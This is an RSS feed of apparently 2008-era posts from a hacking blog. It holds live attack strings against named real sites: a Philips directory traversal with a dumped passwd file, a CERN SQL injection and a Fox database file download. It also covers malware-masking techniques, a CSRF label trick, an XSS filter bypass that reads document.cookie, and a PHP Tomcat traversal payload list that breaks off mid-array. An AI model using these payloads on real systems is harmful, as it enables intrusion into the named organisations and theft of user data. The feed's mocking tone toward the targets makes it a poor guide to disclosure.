<?xml version="1.0" encoding="UTF-8"?><rss version="2.0">
<channel>
<title>0x000000 Security</title>
<description>the obstacle is the path</description>
<link>http://www.0x000000.com</link>
<copyright>copytheft by 0x000000</copyright>
<item>
      <title>Who Wants To Root Philips.</title>
      <description> Writing about hacking and security isn&amp;#039;t like anything else. It&amp;#039;s cool and depressing, fun and dangerous at the same time. You&amp;#039;ll never know what to expect. That&amp;#039;s the beauty of it I guess. Since application hacking is quite well known by now, it depresses me very much to encounter things I am to speak about. &lt;br /&gt;
&lt;br /&gt;
My first directory traversal was around 1999 when I more or less found myself intrigued by web applications and was pretty stunned that I could hack Cisco from a browser instead of a terminal. Imagine that you know, without any GNU/Linux skills running Netscape on some Windows box trying to proof-root Cisco and send them my findings. And guess what, they never replied back. Maybe the hole is still open after all these years, who knows. It&amp;#039;s fair to conclude that programmers still suck at security and it&amp;#039;s likely not going to change any time soon. But the biggest problem for hackers or security pentesters is the way they have to contact a company to notify them of their security issues. To be honest, I never got a honest mail back, from no-one besides a couple of threats. One of them was Bank Of America, who pulled the plug on this very website. But I guess that comes with the territory. In the real world everyone would be happy if your neighbors notify you, that you forgot your house keys on the outside of the front door. But no, not in Internet land.&lt;br /&gt;
&lt;br /&gt;
A reader called haykuro, contacted me one month ago about a gaping hole on the Philips domain. A classic directory traversal vulnerability. While that wasn&amp;#039;t enough, I tried to be an upstanding citizen and contacted Philips. Which turns out to be virtually impossible. They seem to have really good human resource firewalls, but lack proper application firewalls. They never got back to me even when I said that I will disclose it unto the net. So, one month later and it&amp;#039;s still not fixed. I took a couple of hours to write mails back and forth, all in vain. Now I got only one thing to say: go suck on it!&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Directory traversal:&lt;/b&gt;&lt;br /&gt;
&lt;pre&gt;http://www.trimension.philips.com/index.php?page=../../../../../../etc/passwd&lt;/pre&gt;&lt;br /&gt;
Notice that the passwords are shadowed. At least they got that right. A shadowed password is indicated as an X. This means that the passwords aren&amp;#039;t visible in the passwd file but reside in the shadow file. Nonetheless, you can obtain any file you want. &lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;passwd file:&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin &lt;br /&gt;
daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin &lt;br /&gt;
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync &lt;br /&gt;
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt &lt;br /&gt;
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin news:x:9:13:news:/etc/news: &lt;br /&gt;
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin operator:x:11:0:operator:/root:&lt;br /&gt;
/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin &lt;br /&gt;
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin&lt;br /&gt;
/nologin nobody:x:99:99:Nobody:/:/sbin/nologin vcsa:x:69:69:virtual console memory&lt;br /&gt;
 owner:/dev:/sbin/nologin rpm:x:37:37::/var/lib/rpm:/sbin/nologin &lt;br /&gt;
netdump:x:34:34:Network Crash Dump user:/var/crash:/bin/bash nscd:x:28:28:NSCD &lt;br /&gt;
Daemon:/:/sbin/nologin ident:x:100:101::/home/ident:/sbin/nologin &lt;br /&gt;
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin &lt;br /&gt;
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin rpcuser:x:29:29:RPC Service User:/var&lt;br /&gt;
/lib/nfs:/sbin/nologin nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:&lt;br /&gt;
/sbin/nologin mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin smmsp:x:51:51::/var&lt;br /&gt;
/spool/mqueue:/sbin/nologin pcap:x:77:77::/var/arpwatch:/sbin/nologin &lt;br /&gt;
apache:x:48:48:Apache:/var/www:/bin/false ntp:x:38:38::/etc/ntp:/sbin/nologin &lt;br /&gt;
administrator:x:201:201::/home/administrator:/bin/bash fhsvct:x:203:203::/home/fhsvcs:&lt;br /&gt;
/bin/false webstats:x:250:250::/var/ossec:/sbin/nologin&lt;/pre&gt;</description>
      <link>http://www.0x000000.com/?i=315</link>
	  <guid>http://www.0x000000.com/?i=315</guid>
</item>  
<item>
      <title>Hacking The Large Hadron Collider.</title>
      <description> Is anyone yet convinced why I don&amp;#039;t trust that Large Hadron Collider? should we be concerned? I think that&amp;#039;s a healthy question. If DNS doesn&amp;#039;t blow up the world as we know it, the Large Hadron Collider will. You might heard about some Greek hackers who defaced a CERN sub domain, if not, there you go: you know now. That was kind of interesting because CERN said that the hacker was 1 step away from entering the CPU of the hadron detectors and could shut it off if he knew how. &lt;br /&gt;
&lt;br /&gt;
Read that again please:&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt; They defaced a CERN subdomain that was 1 CPU away from one of the detectors and could shut the LHC off.&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&quot;Hacking is a bad thing,&quot; said Lee Smolin, a professor at the Perimeter Institute for Theoretical Physics who is not involved with the Collider.[1] Maybe it&#039;s a good idea to collide two braincells before hallucinating on the idea that smashing two proton beams into each other is of no concern and only produces pretty fractal visuals, because it turns out the net is everywhere. Being responsible involves letting the public know the potential risks, and that is exactly what the Greek hackers did.&lt;br /&gt;
&lt;br /&gt;
So how hard is it really? hacking the LHC for destruction and fun? CERN probably has a wide range of computers running. So it&amp;#039;s easy to even imagine a single flaw some place. A six billion dollar failure in completion is, of course, too tempting for most scientist to screw around with, let alone for hackers. Here is what Google found for me in under 2 minutes. I am certain you will find the rest.&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;http://hcc.web.cern.ch/hcc/safety_subsec.php?safetysub=A45&amp;#039; OR 1=1--&lt;/pre&gt;&lt;br /&gt;
That doesn&#039;t do much, it&#039;s only a blind SQL injection indicator, or Web 1.0 page navigation, depending on where you stand. So, some advise to the CERN people: Hire someone to secure your systems, it&#039;s free advise. And to make sure I have only good intentions: CERN drop me a line and I&#039;ll pentest your systems for free. &lt;br /&gt;
&lt;br /&gt;
I hope you all sleep well tonight. And please be gentle with that Higgs-Boson when you find it eh?&lt;br /&gt;
&lt;br /&gt;
[1] &lt;a href=&quot;http://blog.wired.com/wiredscience/2008/09/hackers-infiltr.html&quot;&gt;http://blog.wired.com/wiredscience/2008/09/hackers-infiltr.html&lt;/a&gt;</description>
      <link>http://www.0x000000.com/?i=314</link>
	  <guid>http://www.0x000000.com/?i=314</guid>
</item>  
<item>
      <title>Masking Malware.</title>
      <description> Over the weekend I thought about new ways in which someone can mask malware for the web. Today malware writers use a big chain of iframes and a mixture of code obfucation to hide their malware from webmasters, surfers and malware security researchers. And so I think it&amp;#039;s important to investigate new ways of masking malware, because this can give everyone an edge of what is possible. I found two new ways of hiding malware which rely on a flaw and a feature of a browser and server respectively.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Masking Malware inside Internet Explorer 8 beta.&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
It is possible to hide the source of an application or a piece of malware in Internet explorer 8 beta by utilizing UTF-16 Big endian encoding. Big Endian and Little Endian refer to the order in which the bytes are stored in memory. The Windows architecture was mainly designed for Little Endian, and so forth some issues arise with software written for Big Endian architecture, and especially UTF16 Big Endian also called UTF-16BE. When changing a meta content-type charset to UTF-16, you can successfully hide malware inside MSIE8B as seen in example 1.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Example 1. &lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;&amp;lt;meta http-equiv=&amp;quot;Content-Type&amp;quot; content=&amp;quot;text/html; charset=UTF-16&amp;quot; /&amp;gt;&lt;/pre&gt;&lt;br /&gt;
&lt;br /&gt;
However, it is also possible to encode an entire file to UTF-16BE. This has the same result as setting the charset manually. One way of doing this is writing a function to encode it into UTF-16BE or use notepad in Windows and save a document as UTF-16-BE. Another method is use a server-side language to encode a string to UTF-16 as seen in example 2.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Example 2.&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;&amp;lt;?php&lt;br /&gt;
&lt;br /&gt;
    function utf16($str) {&lt;br /&gt;
	&lt;br /&gt;
	$utf8 = utf8_encode($str);&lt;br /&gt;
	&lt;br /&gt;
        if(function_exists(&amp;#039;mb_convert_encoding&amp;#039;)) {&lt;br /&gt;
		&lt;br /&gt;
            return mb_convert_encoding($utf8, &amp;#039;UTF-16&amp;#039;, &amp;#039;UTF-8&amp;#039;);&lt;br /&gt;
			&lt;br /&gt;
       		 } else { &lt;br /&gt;
			 &lt;br /&gt;
			return $str;&lt;br /&gt;
		}&lt;br /&gt;
&lt;br /&gt;
    }&lt;br /&gt;
	&lt;br /&gt;
  echo utf16(&amp;#039;&amp;lt;iframe src=&amp;quot;http://www.google.com/malware/malwarez.html&amp;quot;&amp;gt;&amp;lt;/iframe&amp;gt;&amp;#039;);&lt;br /&gt;
?&amp;gt;&lt;/pre&gt;&lt;br /&gt;
&lt;br /&gt;
They all work when one wants to hide the source code of a page created for Internet Explorer. Firefox should render the page as well, but firefox seems to be UTF-16BE aware when parsing the source back to UTF-8 to display it as &amp;quot;source-code&amp;quot;. Google chrome doesn&amp;#039;t render the page in UTF-16LE at all. &lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Masking stylesheet malware.&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
As some of you know, XSS is also flavored into CSS which results in a bigger XSS attack landscape. Problem is, how do you hide a stylesheet? is it possible at all? the answer is yes. There is a header feature on many platforms that allow for a Link: reference. This means that it&amp;#039;s possible to link content into a page through a response header. This way, the stylesheet will not be visible in the source code of a page, and thereby it is possible to mask a stylesheet for inexperienced security researchers. As far as I know only Internet explorer seems to deny a stylesheet sent through the response header. &lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;&amp;lt;?php&lt;br /&gt;
&lt;br /&gt;
header(&amp;quot;Link: &amp;lt;stylesheet.css&amp;gt;; rel=\&amp;quot;stylesheet\&amp;quot;; title=\&amp;quot;style\&amp;quot;&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
?&amp;gt;&lt;/pre&gt;&lt;br /&gt;
&lt;br /&gt;
Which is useful in Xsstc Malware, see this test: &lt;a href=&quot;http://www.tralfamadore.com/test-xsstc.html&quot;&gt;http://www.tralfamadore.com/test-xsstc.html&lt;/a&gt; from &lt;a href=&quot;http://www.tralfamadore.com/2008/08/xsstc-cross-site-scripting-through-css.html&quot;&gt;Wes Biggs&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Conclusion.&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Masking malware can be very important for attackers, for malware security researchers it can be a real nightmare. Sadly these two ideas aren&amp;#039;t the only one. There are many more ways in masking malware, one thing I did not discuss due to my limited time window, is the use of OBJECTS. With OBJECTS it&amp;#039;s possible to let OBJECTS perform like iframes, because they can hold different mime and content types like &amp;quot;text/html&amp;quot; for example that renders an OBJECT as an iframe. Again, posing another great risk for internationalization of web standards. Furthermore it is important to always check the response headers, because what you get sent back doesn&amp;#039;t always is what it says it is.</description>
      <link>http://www.0x000000.com/?i=313</link>
	  <guid>http://www.0x000000.com/?i=313</guid>
</item>  
<item>
      <title>HTML Control Without Javascript.</title>
      <description> In some cases users turn off Javascript for some security reasons. HTML has limited scripting, in fact it has almost zero scripting capabilities. Well, that is only true if one discards the FOR attribute on a label element, part of form controls. I talked about this FOR attribute before and how to use it to trick users into uploading files from their computer secretly. Problem was it required Javascript. So I just thought about that FOR attribute, and since it binds a label to another element, it is in fact some sort of scripting right? or at least it&amp;#039;s a kind of HTML logic that can be triggered if a user performs something on a element. &lt;br /&gt;
&lt;br /&gt;
Turns out, that it&amp;#039;s possible to submit forms with it, without Javascript. Useful, if you&amp;#039;re into CSRF and all that. So what I did was the following: I made a HTML page and created a label and inside the label I placed the BODY of the page, containing HTML and text. Now, interestingly the LABEL and it&amp;#039;s content is now the button itself through binding of the FOR attribute only invisibly. So, that means that when you select text or click somewhere inside the body, the binding becomes active, and the instruction to submit a form is executed without any scripting at all.&lt;br /&gt;
&lt;br /&gt;
My only hope is that it doesn&amp;#039;t create binding between OBJECTS and LABELS, as stated in the Forms RFC[1] where OBJECTS are also seen as control types along fields, buttons and other form items. That would mean that it would be possible to activate OBJECTS through binding labels to it.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Label binding example:&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;&amp;lt;label for=&amp;quot;action&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;body&amp;gt;&lt;br /&gt;
&lt;br /&gt;
      Etymology of &amp;quot;Foo&amp;quot; 1 April 2001&lt;br /&gt;
      When used in connection with `bar&amp;#039; it is generally traced to the&lt;br /&gt;
      WW II era Army slang acronym FUBAR (`Fucked Up Beyond All&lt;br /&gt;
      Repair&amp;#039;), later modified to foobar.  Early versions of the Jargon&lt;br /&gt;
      File [JARGON] interpreted this change as a post-war&lt;br /&gt;
      bowdlerization, but it now seems more likely that FUBAR was itself&lt;br /&gt;
      a derivative of `foo&amp;#039; perhaps influenced by German `furchtbar&amp;#039;&lt;br /&gt;
      (terrible) - `foobar&amp;#039; may actually have been the original form.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/body&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/label&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;form action=&amp;quot;http://www.google.com&amp;quot; method=&amp;quot;get&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;input type=&amp;quot;submit&amp;quot; id=&amp;quot;action&amp;quot; style=&amp;quot;display:none;&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/form&amp;gt;&lt;/pre&gt;&lt;br /&gt;
&lt;br /&gt;
[1] &lt;a href=&quot;http://www.w3.org/TR/html401/interact/forms.html#h-17.2.1&quot;&gt;http://www.w3.org/TR/html401/interact/forms.html#h-17.2.1&lt;/a&gt;</description>
      <link>http://www.0x000000.com/?i=312</link>
	  <guid>http://www.0x000000.com/?i=312</guid>
</item>  
<item>
      <title>Bypassing MSIE8 XSS Filter By Design.</title>
      <description> When MSIE8 beta 2 launched a few days ago, I took it for a little spin to see if it puts up what it says it does. I&amp;#039;m actually quite happy and surprised with the XSS filter, but one thing is quite concerning in my opinion. I talked with David Ross from Microsoft about it over the weekend and explained my thoughts on slashes being put in vectors to subvert the XSS filter. &lt;br /&gt;
&lt;br /&gt;
Since the XSS filter is signature based, I came up with a simple idea to bypass it in certain situations. I know that many programmers use PHP&amp;#039;s function stripslashes() as a kind of automatic reflex on data that comes either from a querystring or data that comes out a database. Since the XSS filter analyzes the query string, it is possible to bypass it if a programmer uses stripslashes or a custom written replace function on requested data. Moreover since many PHP installations still use magic_quotes_gpc() programmers will use stripslashes in order to remove the added slashes, so this scenario is not exotic. &lt;br /&gt;
&lt;br /&gt;
This vector gets by unnoticed:&lt;br /&gt;
&lt;pre&gt;index.php?name=&amp;quot;&amp;gt;&amp;lt;sc\ript&amp;gt;alert(document.cookie);&amp;lt;/script&amp;gt;&lt;/pre&gt;&lt;br /&gt;
Situations where the stripslashes is regularly utilized:&lt;br /&gt;
&lt;br /&gt;
Titles:&lt;br /&gt;
&lt;pre&gt;&amp;lt;h1&amp;gt;&amp;lt;?= stripslashes($_REQUEST[&amp;#039;name&amp;#039;]);?&amp;gt;&amp;lt;/h1&amp;gt;&lt;/pre&gt;&lt;br /&gt;
Search:&lt;br /&gt;
&lt;pre&gt;&amp;lt;h1&amp;gt;You searched for... &amp;lt;?= stripslashes($_REQUEST[&amp;#039;name&amp;#039;]); ?&amp;gt;&amp;lt;/h1&amp;gt;&lt;/pre&gt;&lt;br /&gt;
Forms:&lt;br /&gt;
&lt;pre&gt;&amp;lt;input name=&amp;quot;search&amp;quot; value=&amp;quot;&amp;lt;?= stripslashes($_REQUEST[&amp;#039;name&amp;#039;]); ?&amp;gt;&amp;quot; /&amp;gt;&lt;/pre&gt;&lt;br /&gt;
etc.&lt;br /&gt;
&lt;br /&gt;
In such cases, the XSS vector passes the XSS filter. Since the XSS filter prevents common programming mistake exploitation, it&amp;#039;s likely that those same programmers utilize slash removal functions as a no-brainer as well. So far, this XSS filter is quite nice and it does it&amp;#039;s job very good and clean. While it&amp;#039;s a minor issue, I really want to see a protection for this issue since it&amp;#039;s common occurrence and far from being trivial.</description>
      <link>http://www.0x000000.com/?i=311</link>
	  <guid>http://www.0x000000.com/?i=311</guid>
</item>  
<item>
      <title>The Dan Kaminskybox.</title>
      <description> So I had a little fun with my new soundboard I created, starring the famous Dan Kaminski. Yes the DNS dude, for those who don&amp;#039;t know him. A soundboard is used for making prank phone calls, which in terms can be hilarious if you get the right victim to fall for it. Otherwise, it&amp;#039;s just good old fun.  I thought Dan was the right person for my new soundboard. Because, well it&amp;#039;s always fun to hear him talk. I have many of his talks on mp3 so it was easy to compile a wide range of sound clips. Just enough for a good, but quirky prank call. So, enjoy. And if you intend to use it, use it with care eh? :) &lt;br /&gt;
&lt;br /&gt;
It is very easy to use. Just click on a text to let Dan rant!&lt;object classid=&quot;clsid:d27cdb6e-ae6d-11cf-96b8-444553540000&quot; codebase=&quot;http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,0,0&quot; width=&quot;730&quot; height=&quot;900&quot; id=&quot;x&quot; align=&quot;middle&quot;&gt;&lt;br /&gt;
	&lt;param name=&quot;allowScriptAccess&quot; value=&quot;sameDomain&quot; /&gt;&lt;br /&gt;
	&lt;param name=&quot;allowFullScreen&quot; value=&quot;false&quot; /&gt;&lt;br /&gt;
	&lt;param name=&quot;movie&quot; value=&quot;http://www.zentrix.nl/kaminskybox.swf&quot; /&gt;&lt;param name=&quot;quality&quot; value=&quot;high&quot; /&gt;&lt;param name=&quot;bgcolor&quot; value=&quot;#000000&quot; /&gt;	&lt;embed src=&quot;http://www.zentrix.nl/kaminskybox.swf&quot; quality=&quot;high&quot; bgcolor=&quot;#000000&quot; width=&quot;730&quot; height=&quot;900&quot; name=&quot;x&quot; align=&quot;middle&quot; allowScriptAccess=&quot;sameDomain&quot; allowFullScreen=&quot;false&quot; type=&quot;application/x-shockwave-flash&quot; pluginspage=&quot;http://www.macromedia.com/go/getflashplayer&quot; /&gt;&lt;br /&gt;
	&lt;/object&gt;</description>
      <link>http://www.0x000000.com/?i=310</link>
	  <guid>http://www.0x000000.com/?i=310</guid>
</item>  
<item>
      <title>Hacking Fox.</title>
      <description> This is just a walk in the park, really. Google&amp;#039;s been on their servers before, due to some weird configuration setting. But well, it&amp;#039;s nice to look a couple of months later to see what those foxtards actually did to secure it. Nothing right. So this stuff isn&amp;#039;t very post worthy and only annoying, but I reckoned it might wake someone up who also serves up 10 year old Perl/CGI files. I mean what is wrong with these people if I can gain access to a huge user database by using my browser? so much for trusting Fox all your personal details! So what I&amp;#039;ll do is going through the steps, I won&amp;#039;t show the 100K user database because Google already has it. Ask Google, not me. It is probably public domain since 1997.&lt;br /&gt;
&lt;br /&gt;
So, what up with this code?&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;EOM&lt;br /&gt;
    dbmopen (%QUESTDATA, &amp;quot;../../quest&amp;quot;, 0644);&lt;br /&gt;
    while (($email, $data_str) = each(%QUESTDATA)) {&lt;br /&gt;
	@data = split(/\t/,$data_str);&lt;br /&gt;
	$l_name = $data[0];&lt;br /&gt;
	$f_name = $data[1];&lt;br /&gt;
	$m_init = $data[2];&lt;br /&gt;
	$case1 = $data[3];&lt;br /&gt;
	$case2 = $data[4];&lt;br /&gt;
	$case3 = $data[5];&lt;br /&gt;
	$case4 = $data[6];&lt;br /&gt;
	if ($case3 eq &amp;quot;yes&amp;quot;) {&lt;br /&gt;
#	    print &amp;quot;$f_name $m_init $l_name &amp;lt;br&amp;gt; \n&amp;quot;;&lt;br /&gt;
	    $sortednames{$l_name} = &amp;quot;$f_name $m_init&amp;quot;;&lt;br /&gt;
	}&lt;br /&gt;
    }&lt;br /&gt;
    foreach $foo (sort keys(%sortednames)) {&lt;br /&gt;
	print &amp;quot;$sortednames{$foo}  $foo&amp;lt;br&amp;gt; \n&amp;quot;;&lt;br /&gt;
    }&lt;br /&gt;
    dbmclose(%QUESTDATA);&lt;br /&gt;
    print &amp;lt;&amp;lt;&amp;quot;EOM&amp;quot;;&lt;/pre&gt;&lt;br /&gt;
or:&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;EOM&lt;br /&gt;
&lt;br /&gt;
######################################################&lt;br /&gt;
&lt;br /&gt;
dbmopen(%PLAYERDB, &amp;quot;players&amp;quot;, 0666);&lt;br /&gt;
&lt;br /&gt;
while (($email,$data) = each(%PLAYERDB)) {&lt;br /&gt;
    ($name,$t1,$t2,$t3,$t4,$t5,$t6) = split(/\|/,$data);&lt;br /&gt;
    if (($t1 eq &amp;quot;1&amp;quot;) &amp;amp;&amp;amp; ($t2 eq &amp;quot;1&amp;quot;) &amp;amp;&amp;amp; ($t3 eq &amp;quot;1&amp;quot;) &amp;amp;&amp;amp; ($t4 eq &amp;quot;1&amp;quot;) &amp;amp;&amp;amp; ($t5 eq &amp;quot;1&amp;quot;) &amp;amp;&amp;amp; ($t6 eq &amp;quot;1&amp;quot;)) {&lt;br /&gt;
	print &amp;quot;&amp;lt;P ALIGN=\&amp;quot;CENTER\&amp;quot;&amp;gt;&amp;lt;B&amp;gt;&amp;lt;FONT COLOR=\&amp;quot;\#FF9933\&amp;quot; SIZE=\&amp;quot;+1\&amp;quot;&amp;gt;$name&amp;lt;\/B&amp;gt;&amp;lt;\/FONT&amp;gt;&amp;lt;\/P&amp;gt;&amp;quot;;&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
dbmclose(%PLAYERDB);&lt;br /&gt;
&lt;br /&gt;
#######################################################&lt;br /&gt;
&lt;br /&gt;
print &amp;lt;&amp;lt;&amp;quot;EOM&amp;quot;;&lt;/pre&gt;&lt;br /&gt;
&lt;br /&gt;
See, they use the function dbmopen and access a database or directory storing user data because NDBM is enabled. Thing is, you can access that db though your browser pretty simple. Just use: dbname.dir and you&amp;#039;ll download the whole dir or dbname.pag to download the pagefile. Or even better: dbname.data for a complete database.&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;&lt;br /&gt;
dbmopen (%QUESTDATA, &amp;quot;../../quest&amp;quot;, 0644);&lt;br /&gt;
&lt;br /&gt;
foxserver/foo/bar/../../quest.dir&lt;br /&gt;
foxserver/foo/bar/../../quest.pag&lt;br /&gt;
foxserver/foo/bar/../../quest.data&lt;br /&gt;
&lt;br /&gt;
dbmopen(%PLAYERDB, &amp;quot;players&amp;quot;, 0666);&lt;br /&gt;
&lt;br /&gt;
foxserver/players.dir&lt;br /&gt;
foxserver/players.pag&lt;br /&gt;
foxserver/players.data&lt;br /&gt;
&lt;/pre&gt;&lt;br /&gt;
&lt;br /&gt;
They have old php3 configurations running, giving me complete PHP code access whenever I want to. A screenie below for proof of a simple PHP injection:&lt;br /&gt;
&lt;br /&gt;
&lt;img src=&quot;images/fox_faith.gif&quot; border=&quot;0&quot;&gt;&lt;br /&gt;
&lt;br /&gt;
Indeed, top secret eh?&lt;br /&gt;
&lt;br /&gt;
&lt;img src=&quot;images/fox_files.gif&quot; border=&quot;0&quot;&gt;&lt;br /&gt;
&lt;br /&gt;
Then I got bored, it&amp;#039;s so annoying to stumble upon this.</description>
      <link>http://www.0x000000.com/?i=309</link>
	  <guid>http://www.0x000000.com/?i=309</guid>
</item>  
<item>
      <title>Exploiting Apache Tomcat.</title>
      <description> You might have seen the new Apache Tomcat &amp;lt;= 6.0.18 vulnerability found by Simon Ryeo[1]. The vulnerability involved a problem in Tomcat with processing UTF-8 encoded URI&amp;#039;s which resulted in a directory traversal and canonicalization issues while mapping the paths. If context.xml or server.xml allows &amp;#039;allowLinking&amp;#039; and &amp;#039;URIencoding&amp;#039; as &amp;#039;UTF-8&amp;#039;, directory traversal becomes possible. Curious enough this is pretty much de facto on *NIX systems. Ah the joy of standards! I don&amp;#039;t know what is happening at Apache, but Tomcat is quite often vulnerable. It isn&amp;#039;t the first time you see.&lt;br /&gt;
&lt;br /&gt;
So let&amp;#039;s exploit *cough* test it:&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;&amp;lt;?php&lt;br /&gt;
&lt;br /&gt;
$url = &amp;quot;http://www.google.com&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
$dir = array(&lt;br /&gt;
&amp;quot;%c0%ae%c0%ae/etc/passwd&amp;quot;,&lt;br /&gt;
&amp;quot;%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd&amp;quot;,&lt;br /&gt;
&amp;quot;%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd&amp;quot;,&lt;br /&gt;
&amp;quot;%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd&amp;quot;,&lt;br /&gt;
&amp;quot;%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd&amp;quot;,&lt;br /&gt;
&amp;quot;%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd&amp;quot;,&lt;br /&gt;
&amp;quot;%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/var/log/httpd/access_log&amp;quot;,&lt;br /&gt;
&amp;quot;%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/var/log/httpd/error_log&amp;quot;,&lt;br /&gt;
&amp;quot;%c0%ae%c0%ae/apache/logs/error.log&amp;quot;,&lt;br /&gt;
&amp;quot;%c0%ae%c0%ae/apache/logs/access.log&amp;quot;,&lt;br /&gt;
&amp;quot;%c0%ae%c0%ae/%c0%ae%c0%ae/apache/logs/error.log&amp;quot;,&lt;br /&gt;
&amp;quot;%c0%ae%c0%ae/%c0%ae%c0%ae/apache/logs/access.log&amp;quot;,&lt;br /&gt;
&amp;quot;%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/apache/logs/error.log&amp;quot;,&lt;br /&gt;
&amp;quot;%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/apache/logs/access.log&amp;quot;,&lt;br /&gt;
&amp;quot;%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/apache/logs/error.log&amp;quot;,&lt;br /&gt;
&amp;quot;%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/apache/logs/access.log&amp;quot;,&lt;br /&gt;
&amp;quot;%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/apache/logs/error.log&amp;quot;,&lt;br /&gt;
&amp;quot;%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/apache/logs/access.log&amp;quot;,&lt;br /&gt;
&amp;quot;%c0%ae%c0%ae/logs/error.log&amp;quot;,&lt;br /&gt;
&amp;quot;%c0%ae%c0%ae/logs/access.log&amp;quot;,&lt;br /&gt;
&amp;quot;%c0%ae%c0%ae/%c0%ae%c0%ae/logs/error.log&amp;quot;,&lt;br /&gt;
&amp;quot;%c0%ae%c0%ae/%c0%ae%c0%ae/logs/access.log&amp;quot;,&lt;br /&gt;
&amp;quot;%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/logs/error.log&amp;quot;,&lt;br /&gt;
&amp;quot;%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/logs/access.log&amp;quot;,&lt;br /&gt;
&amp;quot;%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/logs/error.log&amp;quot;,&lt;br /&gt;
&amp;quot;%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/logs/access.log&amp;quot;,&lt;br /&gt;
&amp;quot;%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/logs/error.log&amp;quot;,&lt;br /&gt;
&amp;quot;%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/logs/access.log&amp;quot;,&lt;br /&gt;
&amp;quot;%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/httpd/logs/access_log&amp;quot;,&lt;br /&gt;
&amp;quot;%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/httpd/logs/access.log&amp;quot;,&lt;br /&gt;
